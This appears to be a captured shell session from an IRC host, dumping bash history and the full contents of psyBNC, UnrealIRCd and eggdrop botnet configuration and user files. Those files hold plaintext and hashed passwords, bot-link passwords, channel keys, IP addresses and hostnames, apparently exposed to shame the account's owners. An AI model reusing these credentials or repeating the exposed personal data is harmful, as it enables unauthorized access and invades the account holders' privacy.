drwxr-xr-x 10 efnet efnet 512 May 9 15:00 eggdrop
drwxr-xr-x 10 efnet efnet 1024 May 3 10:15 eggdrop1.6.15
-rw-r--r-- 1 efnet efnet 961868 Apr 29 16:44 eggdrop1.6.15.tar.gz
-rw-r--r-- 1 efnet efnet 7920 Jun 28 14:32 index.html
-rw-r--r-- 1 efnet efnet 5566007 May 12 14:36 iraq2vediom.wmv
-rw-r--r-- 1 efnet efnet 3596 Apr 29 17:22 m
-rw-r--r-- 1 efnet efnet 252 Jun 28 14:31 policy.htm
drwxr-xr-x 11 efnet efnet 512 Jul 3 21:04 psybnc
drwxr-xr-x 3 efnet efnet 512 Jun 5 07:25 public_html
-rw-r--r-- 1 efnet efnet 252 Jun 28 14:31 return85259.cfm
(efnet@storm)(~)
$ cat .bash_history
You are been watched...
ls
w
who
ls -l
cd .pSy
ls
./psybnc
cd
ls
rm -rf psybnc
ls
l s-l
ls -l
cd .pSy
ls
pico psybnc.conf
ls
rrm -rf .pSy
ls
cd
ls
rm -rf pSy
rm -rf .pSY
ls
tar zxvf psyBNC2.3.1.tar.gz
ls
cd psybn
cd psybnc
mak
emake
make
ls
./psybnc
ps x
kill -9 49222
ls
ls
history
w
(efnet@storm)(~)
$ w
7:12AM up 6:48, 4 users, load averages: 0.07, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE WHAT
efnet p0 hosted.by.hotwir 7:09AM - w
hiy_po p1 202.137.107.48 3:01AM 4:08 -
sneeker p3 202.137.107.48 3:25AM 3:43 -
lag p4 cpc4-bsfd2-4-0-c 3:36AM 2:26 -
(efnet@storm)(~)
$ cd .pSy
(efnet@storm)(~/.pSy)
$ cat psybnc.conf
PSYBNC.SYSTEM.PORT1=31337
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=st
USER1.USER.USER=st
USER1.USER.PASS=='J0S`L'Z'B1B1e`u`X
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=0
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.AWAYNICK=darkacid
USER1.USER.NICK=darkacid
USER1.CHANNELS.KEY0=+1A10232a2d2g2u2z
USER1.CHANNELS.ENTRY1=#hellman
USER1.CHANNELS.ENTRY3=#darknet
USER1.CHANNELS.ENTRY4=#quadspeedi
USER1.CHANNELS.ENTRY11=#sysadmins
USER1.CHANNELS.ENTRY10=#rich
USER1.CHANNELS.ENTRY2=#ryan1918.com
USER1.CHANNELS.ENTRY5=#storm
USER1.CHANNELS.ENTRY0=#austnet
USER1.SERVERS.SERVER1=irc.inet.tele.dk
USER1.SERVERS.PORT1=6667
USER2.USER.LOGIN=storm
USER2.USER.USER=)st( storm
USER2.USER.PASS=='J0S`L'Z'B1B1e`u`X
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.NICK=st
USER2.SERVERS.SERVER1=62.75.177.184
USER2.SERVERS.PORT1=4411
USER2.CHANNELS.ENTRY0=#rootz
USER3.USER.LOGIN=dark
USER3.USER.USER=)st( dark
USER3.USER.PASS=='J0S`L'Z'B1B1e`u`X
USER3.USER.RIGHTS=0
USER3.USER.VLINK=0
USER3.USER.PPORT=0
USER3.USER.PARENT=0
USER3.USER.QUITTED=0
USER3.USER.DCCENABLED=1
USER3.USER.AUTOGETDCC=0
USER3.USER.AIDLE=0
USER3.USER.LEAVEQUIT=0
USER3.USER.AUTOREJOIN=1
USER3.USER.SYSMSG=1
USER3.USER.LASTLOG=0
USER3.USER.CERT=+
USER3.USER.NICK=darkacid
USER3.CHANNELS.ENTRY1=#linuxpakistan
USER3.CHANNELS.ENTRY2=#shellreview.us
USER3.CHANNELS.ENTRY0=#oxygenshell
USER4.USER.LOGIN=dmx
USER4.USER.USER=no.one.fucks.with.X
USER4.USER.PASS=='E'u't0i'Y0Z1A0L`m
USER4.USER.RIGHTS=0
USER4.USER.VLINK=0
USER4.USER.PPORT=0
USER4.USER.PARENT=0
USER4.USER.QUITTED=0
USER4.USER.DCCENABLED=0
USER4.USER.AUTOGETDCC=0
USER4.USER.AIDLE=0
USER4.USER.LEAVEQUIT=0
USER4.USER.AUTOREJOIN=1
USER4.USER.SYSMSG=1
USER4.USER.LASTLOG=0
USER4.USER.CERT=+
USER4.USER.VHOST=69.31.77.131
USER4.USER.NICK=ProbleM
USER4.SERVERS.SERVER1=irc.inet.tele.dk
USER4.SERVERS.PORT1=6667
USER4.CHANNELS.ENTRY2=#ryan1918.com
USER4.CHANNELS.ENTRY3=#e.b.t
USER4.CHANNELS.ENTRY4=#divxcodec
USER4.CHANNELS.KEY4=+1C1Y292p2J2L2z2@2V36
USER4.CHANNELS.ENTRY5=#bonethugs
USER4.CHANNELS.ENTRY0=#0daymp3
USER4.CHANNELS.ENTRY6=#humblefxp
USER4.CHANNELS.ENTRY1=#hhr
USER5.USER.LOGIN=pwn
USER5.USER.USER=dfg
USER5.USER.PASS=='J0S`L'Z'B1B1e`u`X
USER5.USER.RIGHTS=0
USER5.USER.VLINK=0
USER5.USER.PPORT=0
USER5.USER.PARENT=0
USER5.USER.QUITTED=0
USER5.USER.DCCENABLED=1
USER5.USER.AUTOGETDCC=0
USER5.USER.AIDLE=0
USER5.USER.LEAVEQUIT=0
USER5.USER.AUTOREJOIN=1
USER5.USER.SYSMSG=1
USER5.USER.LASTLOG=0
USER5.USER.CERT=+
USER5.USER.VHOST=69.31.77.132
USER5.USER.NICK=dgf_
USER5.SERVERS.SERVER1=irc.foxlink.net
USER5.SERVERS.PORT1=6667
USER5.CHANNELS.ENTRY0=#ryan1918.com
USER6.USER.LOGIN=edu
USER6.USER.USER=)st( edu
USER6.USER.PASS=='J0S`L'Z'B1B1e`u`X
USER6.USER.RIGHTS=0
USER6.USER.VLINK=0
USER6.USER.PPORT=0
USER6.USER.PARENT=0
USER6.USER.QUITTED=0
USER6.USER.DCCENABLED=1
USER6.USER.AUTOGETDCC=0
USER6.USER.AIDLE=0
USER6.USER.LEAVEQUIT=0
USER6.USER.AUTOREJOIN=1
USER6.USER.SYSMSG=1
USER6.USER.LASTLOG=0
USER6.USER.CERT=+
USER6.USER.NICK=st
USER6.SERVERS.SERVER1=131.252.126.82
USER6.SERVERS.PORT1=6667
USER6.CHANNELS.ENTRY0=#phat#
USER6.CHANNELS.KEY0=+1M1S1e2j
USER6.CHANNELS.ENTRY1=#staff
USER7.USER.LOGIN=efnet
USER7.USER.USER=)st(
USER7.USER.PASS=='J0S`L'Z'B1B1e`u`X
USER7.USER.RIGHTS=0
USER7.USER.VLINK=0
USER7.USER.PPORT=0
USER7.USER.PARENT=0
USER7.USER.QUITTED=0
USER7.USER.DCCENABLED=0
USER7.USER.AUTOGETDCC=0
USER7.USER.AIDLE=0
USER7.USER.LEAVEQUIT=0
USER7.USER.AUTOREJOIN=1
USER7.USER.SYSMSG=1
USER7.USER.LASTLOG=0
USER7.USER.CERT=+
USER7.USER.NICK=efnet
USER7.SERVERS.SERVER1=irc.foxlink.net
USER7.SERVERS.PORT1=6667
(efnet@storm)(~/.pSy)
$ cd ../.Unreal3.2
(efnet@storm)(~/Unreal3.2)
$ cat unrealircd.conf
loadmodule "src/modules/commands.so";
me {
name ride.thestorm.net;
info "thestorm";
numeric 76;
};
admin {
Guess;
};
class clients {
pingfreq 120;
maxclients 5000;
sendq 100000;
recvq 4000;
};
class servers {
pingfreq 120;
connfreq 120;
maxclients 10;
sendq 10000000;
recvq 6000;
};
class oper {
pingfreq 240;
maxclients 50;
sendq 65000;
recvq 5000;
};
allow {
ip *@*;
hostname *@*;
class clients;
maxperip 5;
};
listen 69.31.77.157:6667 {
options {
clientsonly;
};
};
listen 69.31.77.157:6665 {
options {
serversonly;
};
};
oper wn {
class oper;
from {
userhost *@*;
};
password "d4rkacid";
flags {
can_override;
global;
services-admin;
admin;
netadmin;
can_rehash;
can_die;
can_restart;
helpop;
can_wallops;
can_globops;
can_localroute;
can_globalroute;
can_localkill;
can_globalkill;
can_kline;
can_gzline;
can_gkline;
can_unkline;
can_localnotice;
can_globalnotice;
can_zline;
get_umodew;
get_host;
};
};
link ride.thestorm.net {
username *;
hostname 69.50.182.125;
bind-ip 69.50.182.125;
port 5398;
hub *;
password-connect "w00tw00t";
password-receive "w00tw00t";
class servers;
options {
autoconnect;
};
};
drpass {
restart restart-now;
die die-now;
};
ulines { services.thestorm.ney; };
set {
kline-address [email]kline@thestorm.net[/email];
maxchannelsperuser 15;
snomask-on-oper cFfkejvGnqbW;
modes-on-oper +q;
modes-on-connect +xG;
restrict-usermodes xG;
prefix-quit Quit:;
allow-userhost-change always;
modes-on-join +tns;
dns {
nameserver 127.0.0.1;
timeout 2s;
retries 2; };
services-server services.thestorm.net;
default-server ride.thestorm.net;
network-name thestorm;
hosts {
local localop.ride.thestorm.net;
global globalop.ride.thestorm.net;
coadmin coadmin.ride.thestorm.net;
admin admin.ride.thestorm.net;
servicesadmin servicesadmin.ride.thestorm.net;
netadmin netadminride.thestorm.net;
host-on-oper-up yes; };
cloak-keys { 64524; 75862; 85212; };
hiddenhost-prefix B;
help-channel #storm;
options {
hide-ulines;
no-stealth; };
};
(efnet@storm)(~/Unreal3.2)
$ cd ..
(efnet@storm)(~)
$ cd egg
(efnet@storm)(~/egg)
$ cat ms1221.user
#4v: eggdrop v1.6.15 -- stormware -- written Sun May 9 15:00:00 2004
darkacid - hjmnoptxB
--HOSTS *!efnet@*.fucky0u.biz
--HOSTS -telnet!*@*
--HOSTS *!st@69.31.21.*
--HOSTS *!efnet@*.termcrew.co.ba
--LASTON 1084078243 #WArezNet
--PASS +8lY/E.0gzeu/
--XTRA created 1083539589
stormware - abfo
--HOSTS *![email]efnet@h4x0r.ws[/email]
--HOSTS *!word@69.31.77.*
--LASTON 1084071940 #WArezNet
--BOTADDR h4x0r.ws:3333/3333
--XTRA created 1083539832
bsd - abfo
--BOTFL gs
--HOSTS *![email]warlord@got.wewt.org[/email]
--BOTADDR got.wewt.org:2004/2004
--PASS p4ixgehfan0cn
--LASTON 1083564200 #emilia
--XTRA created 1083539838
ghod - abfo
--BOTFL gs
--HOSTS *![email]warlord@my.etc.passwd.is.1024.bit.encrypted.de[/email]
--BOTADDR my.etc.passwd.is.1024.bit.encrypted.de:2003/2003
--PASS 0qugif0nur
--LASTON 1083659587 #emilia
--XTRA created 1083542356
weed - abfo
--BOTFL gs
--HOSTS *![email]warlord@0day.dvdrs.org[/email]
--BOTADDR 0day.dvdrs.org:2005/2005
--PASS x7ztykdwrq4u
--LASTON 1083564200 #emilia
--XTRA created 1083542792
ssl - abfo
--BOTFL gs
--HOSTS *![email]efnet@w33d.ws[/email]
--BOTADDR w33d.ws:2008/2008
--LASTON 1083910488 #hackers
--PASS 6b1e4caxpp
--XTRA created 1083546012
bx - abfo
--BOTFL gs
--HOSTS *![email]st@darkacid.runs.the.bulking.biz[/email]
--LASTON 1084074764 #WArezNet
--BOTADDR darkacid.runs.the.bulking.biz:20069/20069
--PASS c3ehp94uq69n
--XTRA created 1083549615
spam - abfo
--BOTFL gs
--HOSTS *![email]st@bulknet.org[/email]
--LASTON 1084071139 #bankstown
--BOTADDR bulknet.org:20017/20017
--PASS z4931f7hl4
--XTRA created 1083550943
lawyer - abfo
--BOTFL gs
--HOSTS *![email]st@hahahahaha.i.narked.out.foo-net.com[/email]
--LASTON 1084071139 #bankstown
--BOTADDR hahahahaha.i.narked.out.foo-net.com:20012/20012
--PASS ynj1l89f76t
--XTRA created 1083553858
cyb - jmnoptx
--HOSTS *!cyb@*.bigpond.net.au
--PASS +SJlpl0EwD8U1
--LASTON 1083644653 #hackers
--XTRA created 1083564844
--COMMENT Created by packetkid on Mon May 03 16:14:05 EST 2004
iCER - jmnoptx
--HOSTS *!ice@*.icerslair.com
--HOSTS *![email]ice@icerslair.com[/email]
--LASTON 1084075644 #WArezNet
--PASS +2yieH0sUuXD0
--XTRA created 1083702096
--COMMENT Created by darkacid on Wed May 05 06:21:37 EST 2004
::#stormwarez bans
::#hackers bans
::#im.owned.by.darkacid bans
::#emilia bans
::#WArezNet bans
::#bankstown bans
&&#stormwarez exempts
&&#hackers exempts
&&#im.owned.by.darkacid exempts
&&#emilia exempts
&&#WArezNet exempts
&&#bankstown exempts
$$#stormwarez invites
$$#hackers invites
$$#im.owned.by.darkacid invites
$$#emilia invites
$$#WArezNet invites
$$#bankstown invites
(efnet@storm)(~/egg)
$ cat ms12231.user
#4v: eggdrop v1.6.15 -- haxor -- written Fri Jul 2 13:00:00 2004
foodstamp - ahjmnoptxB
--HOSTS *!efnet@*.magicshells.com
--HOSTS -telnet!*@*
--PASS +Sz94O/3Mktc1
--LASTON 1088736620 #pranks
--XTRA created 1087077021
haxor - abfo
--HOSTS *![email]efnet@h4x0r.ws[/email]
--HOSTS *!efnet@69.31.77.*
--HOSTS *!*st@69.31.77.*
--HOSTS *!*[email]st@h4x0r.ws[/email]
--LASTON 1088696463 #pranks
--BOTADDR h4x0r.ws:3333/3333
--XTRA created 1087077091
root - abfo
--BOTFL gs
--HOSTS *!st@194.90.131.12
--LASTON 1087136909 #darkforces
--BOTADDR 194.90.131.12:20012/20012
--PASS xvx9wnj3yvlvv
--XTRA created 1087077238
router - abfo
--BOTFL gs
--HOSTS *!*~st@69.50.182.114
--LASTON 1087455600 unlinked
--BOTADDR 69.50.182.114:16969/16969
--PASS 79mott4hfel9
--XTRA created 1087080559
*ban - -
- !*@own.the.darkforces.biz:+0:+1087080902:0:darkacid_:abusive clone flooder
::#storm2k bans
::#darkforces bans
::#bulkers bans
::#zero-tech bans
::#pranks bans
&&#storm2k exempts
&&#darkforces exempts
&&#bulkers exempts
&&#zero-tech exempts
&&#pranks exempts
$$#storm2k invites
$$#darkforces invites
$$#bulkers invites
$$#zero-tech invites
$$#pranks invites
(efnet@storm)(~/egg)
$ cat ms211.chan
#Dynamic Channel File for stormware (eggdrop v1.6.15) -- written Sun May 9
channel add #stormwarez { chanmode +tn idle-kick 0 stopnethack-mode 0
revenge-mode 0 need-op {} need-invite {} need-key {}
need-unban {} need-limit {} flood-chan 0:0 flood-ctcp 5:10
flood-join 5:5 flood-kick 4:5 flood-deop 4:1
flood-nick 0:0 aop-delay 5:30 ban-time 120 exempt-time 60
invite-time 60 +enforcebans -dynamicbans +userbans -autoop
-autohalfop -bitch +greet +protectops -protecthalfops
+protectfriends +dontkickops -statuslog +revenge -revengebot
+autovoice -secret +shared +cycle +seen -inactive
+dynamicexempts +userexempts +dynamicinvites
+userinvites -nodesynch }
channel add #hackers { chanmode +tn idle-kick 0 stopnethack-mode 0
revenge-mode 0 need-op {} need-invite {} need-key {}
need-unban {} need-limit {} flood-chan 0:0 flood-ctcp 5:10
flood-join 5:5 flood-kick 4:5 flood-deop 4:1
flood-nick 0:0 aop-delay 5:30 ban-time 120 exempt-time 60
invite-time 60 +enforcebans -dynamicbans +userbans -autoop
-autohalfop -bitch +greet +protectops -protecthalfops
+protectfriends +dontkickops -statuslog +revenge -revengebot
+autovoice -secret +shared +cycle +seen -inactive
+dynamicexempts +userexempts +dynamicinvites
+userinvites -nodesynch }
channel add #im.owned.by.darkacid { chanmode +tn idle-kick 0 stopnethack-mode 0
revenge-mode 0 need-op {} need-invite {} need-key {}
need-unban {} need-limit {} flood-chan 0:0 flood-ctcp 5:10
flood-join 5:5 flood-kick 4:5 flood-deop 4:1 flood-nick 0:0
aop-delay 5:30 ban-time 120 exempt-time 60
invite-time 60 +enforcebans -dynamicbans +userbans -autoop
-autohalfop -bitch +greet +protectops -protecthalfops
+protectfriends +dontkickops -statuslog +revenge -revengebot
+autovoice -secret +shared +cycle +seen -inactive
+dynamicexempts +userexempts +dynamicinvites
+userinvites -nodesynch }
channel add #emilia { chanmode +tn idle-kick 0 stopnethack-mode 0
revenge-mode 0 need-op {} need-invite {} need-key {}
need-unban {} need-limit {} flood-chan 0:0 flood-ctcp 5:10
flood-join 5:5 flood-kick 4:5 flood-deop 4:1
flood-nick 0:0 aop-delay 5:30 ban-time 120 exempt-time 60
invite-time 60 +enforcebans -dynamicbans +userbans -autoop
-autohalfop -bitch +greet +protectops -protecthalfops
+protectfriends +dontkickops -statuslog +revenge -revengebot
+autovoice -secret +shared +cycle +seen -inactive
+dynamicexempts +userexempts +dynamicinvites
+userinvites -nodesynch }
channel add #WArezNet { chanmode +tn idle-kick 0 stopnethack-mode 0
revenge-mode 0 need-op {} need-invite {} need-key {}
need-unban {} need-limit {} flood-chan 0:0 flood-ctcp 5:10
flood-join 5:5 flood-kick 4:5 flood-deop 4:1
flood-nick 0:0 aop-delay 5:30 ban-time 120 exempt-time 60
invite-time 60 +enforcebans -dynamicbans +userbans -autoop
-autohalfop -bitch +greet +protectops -protecthalfops
+protectfriends +dontkickops -statuslog +revenge -revengebot
+autovoice -secret +shared +cycle +seen -inactive
+dynamicexempts +userexempts +dynamicinvites
+userinvites -nodesynch }
channel add #bankstown { chanmode +tn idle-kick 0 stopnethack-mode 0
revenge-mode 0 need-op {} need-invite {} need-key {}
need-unban {} need-limit {} flood-chan 0:0 flood-ctcp 5:10
flood-join 5:5 flood-kick 4:5 flood-deop 4:1
flood-nick 0:0 aop-delay 5:30 ban-time 120 exempt-time 60
invite-time 60 +enforcebans -dynamicbans +userbans -autoop
-autohalfop -bitch +greet +protectops -protecthalfops
+protectfriends +dontkickops -statuslog +revenge -revengebot
+autovoice -secret +shared +cycle +seen -inactive
+dynamicexempts +userexempts +dynamicinvites
+userinvites -nodesynch }
(efnet@storm)(~/egg)
$ cat root.txt
##### GENERAL STUFF #####
set username "st"
set admin "darkacid_ <email: [email]icer@howyoudoin.com[/email]>"
set network "Efnet"
set timezone "GMT+1"
set my-hostname "h4x0r.ws"
set my-ip "69.31.77.143"
##### LOG FILES #####
set log-time 1
set keep-all-logs 0
set switch-logfiles-at 2400
set console "mkcobxs"
##### FILES AND DIRECTORIES #####
set userfile "ms12231.user"
set help-path "/help"
set temp-path "/tmp"
set motd "/motd"
##### BOTNET #####
set botnet-nick "haxor"
listen 21323 all
set protect-telnet 0
set ident-timeout 30
set require-p 0
set open-telnets 0
set connect-timeout 15
set dcc-flood-thr 3
set telnet-flood 0:0
set resolve-timeout 15
##### MORE ADVANCED STUFF #####
set ignore-time 30
set debug-output 0
set hourly-updates 00
set notify-newusers "HQ"
set owner "darkacid_"
set default-flags "h"
set whois-fields "url birthday"
set remote-boots 1
set share-unlinks 0
set die-on-sighup 0
set die-on-sigterm 0
set must-be-owner 1
set max-dcc 50
set enable-simul 1
#### CHANNEL MODULE #####
loadmodule channels
set chanfile "ms32211.chan"
set ban-time 120
set exempt-time 60
set invite-time 60
set force-expire 0
set share-greet 0
set use-info 1
set global-flood-chan 0:0
set global-flood-deop 4:1
set global-flood-kick 4:5
set global-flood-join 5:5
set global-flood-ctcp 5:10
set global-chanset {
-clearbans +enforcebans
-dynamicbans +userbans
-autoop -bitch
+greet +protectops
-statuslog +stopnethack
+revenge -secret
+autovoice +cycle
+dontkickops -wasoptest
-inactive +protectfriends
+shared +seen
+userexempts +dynamicexempts
+userinvites +dynamicinvites
}
##### SERVER MODULE #####
loadmodule server
set nick "haxor"
set altnick "haxor_"
set realname "So why do we bother you ask..."
set init-server { putserv "MODE $botnick +iw-vs" }
set servers {
irc.blessed.net
efnet.demon.co.uk
irc.foxlink.net
irc.banetele.no
irc.limelight.us
irc.efnet.net
irc.nac.net
irc.dks.ca
irc.foxlink.net
irc.banetele.no
irc.limelight.us
}
set keep-nick 1
set strict-host 0
set quiet-reject 1
set lowercase-ctcp 0
set answer-ctcp 3
set flood-msg 5:10
set flood-ctcp 5:10
set never-give-up 1
set strict-servernames 0
set default-port 6667
set server-cycle-wait 30
set server-timeout 15
set servlimit 0
set check-stoned 1
set use-console-r 0
set serverror-quit 1
set max-queue-msg 300
set trigger-on-ignore 0
set use-silence 0
set handle-mode_r 1
##### CTCP MODULE #####
loadmodule ctcp
##### IRC MODULE #####
loadmodule irc
set bounce-bans 0
set allow_desync 0
set kick-method 0
set learn-users 1
set wait-split 300
set wait-info 180
set modes-per-line 6
set mode-buf-length 200
set use-354 0
set no-chanrec-info 0
unbind msg - hello *msg:hello
bind msg - hello *msg:hello
unbind msg - ident *msg:ident
unbind msg - addhost *msg:addhost
bind msg - id *msg:ident
bind msg - ah *msg:addhost
##### TRANSFER MODULE #####
loadmodule transfer
set max-dloads 3
set dcc-block 0
set copy-to-tmp 1
set xfer-timeout 300
##### SHARE MODULE #####
loadmodule share
set allow-resync 0
set resync-time 900
set private-owner 0
set private-global 0
set private-globals ""
set private-user 0
##### FILESYSTEM MODULE #####
loadmodule filesys
set files-path "filesys/"
set incoming-path "filesys/incoming"
set upload-to-pwd 0
set filedb-path ""
set max-file-users 2
set max-filesize 1024
##### NOTES MODULE #####
loadmodule notes
set notefile "m124331.notes"
set max-notes 50
set note-life 60
set allow-fwd 0
set notify-users 1
##### CONSOLE MODULE #####
loadmodule console
set console-autosave 1
set force-channel 0
set info-party 1
checkmodule blowfish
loadmodule assoc
##### SCRIPTS #####
source scripts/own.tcl
(efnet@storm)(~/egg)
$ cd ../eggdrop
(efnet@storm)(~/eggdrop)
$ cat ms.txt
##### GENERAL STUFF #####
set username "word"
set admin "darkacid <email: [email]icer@howyoudoin.com[/email]>"
set network "Austnet"
set timezone "GMT+1"
set my-hostname "w33d.ws"
set my-ip "69.31.77.136"
##### LOG FILES #####
set log-time 1
set keep-all-logs 0
set switch-logfiles-at 2400
set console "mkcobxs"
##### FILES AND DIRECTORIES #####
set userfile "ms1221.user"
set help-path "/help"
set temp-path "/tmp"
set motd "/motd"
##### BOTNET #####
set botnet-nick "ssl"
listen 200190 all
set protect-telnet 0
set ident-timeout 30
set require-p 0
set open-telnets 0
set connect-timeout 15
set dcc-flood-thr 3
set telnet-flood 0:0
set resolve-timeout 15
##### MORE ADVANCED STUFF #####
set ignore-time 30
set debug-output 0
set hourly-updates 00
set notify-newusers "HQ"
set owner "darkacid"
set default-flags "h"
set whois-fields "url birthday"
set remote-boots 1
set share-unlinks 0
set die-on-sighup 0
set die-on-sigterm 0
set must-be-owner 1
set max-dcc 50
set enable-simul 1
#### CHANNEL MODULE #####
loadmodule channels
set chanfile "ms211.chan"
set ban-time 120
set exempt-time 60
set invite-time 60
set force-expire 0
set share-greet 0
set use-info 1
set global-flood-chan 0:0
set global-flood-deop 4:1
set global-flood-kick 4:5
set global-flood-join 5:5
set global-flood-ctcp 5:10
set global-chanset {
-clearbans +enforcebans
-dynamicbans +userbans
-autoop -bitch
+greet +protectops
-statuslog -stopnethack
+revenge -secret
+autovoice +cycle
+dontkickops -wasoptest
-inactive +protectfriends
+shared +seen
+userexempts +dynamicexempts
+userinvites +dynamicinvites
}
##### SERVER MODULE #####
loadmodule server
set nick "ssl"
set altnick "ssl_"
set realname ")st( WE > Austnet"
set init-server { putserv "MODE $botnick +iw-vs" }
set servers {
bohica.austnet.org
pacific.nsw.au.austnet.org
pacific.sg.austnet.org
iinet.wa.au.austnet.org
comcen.nsw.au.austnet.org
}
set keep-nick 1
set strict-host 0
set quiet-reject 1
set lowercase-ctcp 0
set answer-ctcp 3
set flood-msg 5:10
set flood-ctcp 5:10
set never-give-up 1
set strict-servernames 0
set default-port 6667
set server-cycle-wait 30
set server-timeout 15
set servlimit 0
set check-stoned 1
set use-console-r 0
set serverror-quit 1
set max-queue-msg 300
set trigger-on-ignore 0
set use-silence 0
set handle-mode_r 1
##### CTCP MODULE #####
loadmodule ctcp
##### IRC MODULE #####
loadmodule irc
set bounce-bans 0
set allow_desync 0
set kick-method 0
set learn-users 1
set wait-split 300
set wait-info 180
set modes-per-line 6
set mode-buf-length 200
set use-354 0
set no-chanrec-info 0
unbind msg - hello *msg:hello
bind msg - hello *msg:hello
unbind msg - ident *msg:ident
unbind msg - addhost *msg:addhost
bind msg - id *msg:ident
bind msg - ah *msg:addhost
##### TRANSFER MODULE #####
loadmodule transfer
set max-dloads 3
set dcc-block 0
set copy-to-tmp 1
set xfer-timeout 300
##### SHARE MODULE #####
loadmodule share
set allow-resync 0
set resync-time 900
set private-owner 0
set private-global 0
set private-globals ""
set private-user 0
##### FILESYSTEM MODULE #####
loadmodule filesys
set files-path "filesys/"
set incoming-path "filesys/incoming"
set upload-to-pwd 0
set filedb-path ""
set max-file-users 2
set max-filesize 1024
##### NOTES MODULE #####
loadmodule notes
set notefile "m12431.notes"
set max-notes 50
set note-life 60
set allow-fwd 0
set notify-users 1
##### CONSOLE MODULE #####
loadmodule console
set console-autosave 1
set force-channel 0
set info-party 1
checkmodule blowfish
loadmodule assoc
##### SCRIPTS #####
source scripts/own.tcl
(efnet@storm)(~/eggdrop)
$ cat ms1221.user
#4v: eggdrop v1.6.15 -- ssl -- written Sun May 9 15:00:00 2004
ssl - abfo
--HOSTS *![email]efnet@w33d.ws[/email]
--HOSTS *!word@69.31.77.*
--LASTON 1083910488 #Hackers
--XTRA created 1083545825
--BOTADDR w33d.ws:2008/2008
stormware - abfo
--BOTFL ghp
--BOTADDR h4x0r.ws:3333/3333
--HOSTS *![email]efnet@h4x0r.ws[/email]
--PASS 6b1e4caxpp
--XTRA created 1083545896
--LASTON 1083600300 unlinked
darkacid - hjmnoptxB
--HOSTS *!efnet@*.fucky0u.biz
--HOSTS -telnet!*@*
--XTRA created 1083539589
--PASS +8lY/E.0gzeu/
--LASTON 1083589880 @stormware
bsd - abfo
--HOSTS *![email]warlord@got.wewt.org[/email]
--PASS 4m1l9aolg0
--XTRA created 1083546021
--BOTADDR got.wewt.org:2004/2004
--LASTON 1083564200 #emilia
ghod - abfo
--HOSTS *![email]warlord@my.etc.passwd.is.1024.bit.encrypted.de[/email]
--PASS gqyl0appgboy
--XTRA created 1083546021
--BOTADDR my.etc.passwd.is.1024.bit.encrypted.de:2003/2003
--LASTON 1083600300 unlinked
weed - abfo
--HOSTS *![email]warlord@0day.dvdrs.org[/email]
--PASS 5ppe6t03idrkwdr
--XTRA created 1083546021
--BOTADDR 0day.dvdrs.org:2005/2005
--LASTON 1083564200 #emilia
methamp - abfo
--HOSTS *![email]warlord@blunt.rolling.irc-pimp.org[/email]
--PASS wnz00q6vrg9mj07
--XTRA created 1083546021
--BOTADDR blunt.rolling.irc-pimp.org:2003/2003
--LASTON 1083600300 unlinked
bx - abfo
--HOSTS *![email]st@darkacid.runs.the.bulking.biz[/email]
--LASTON 1083855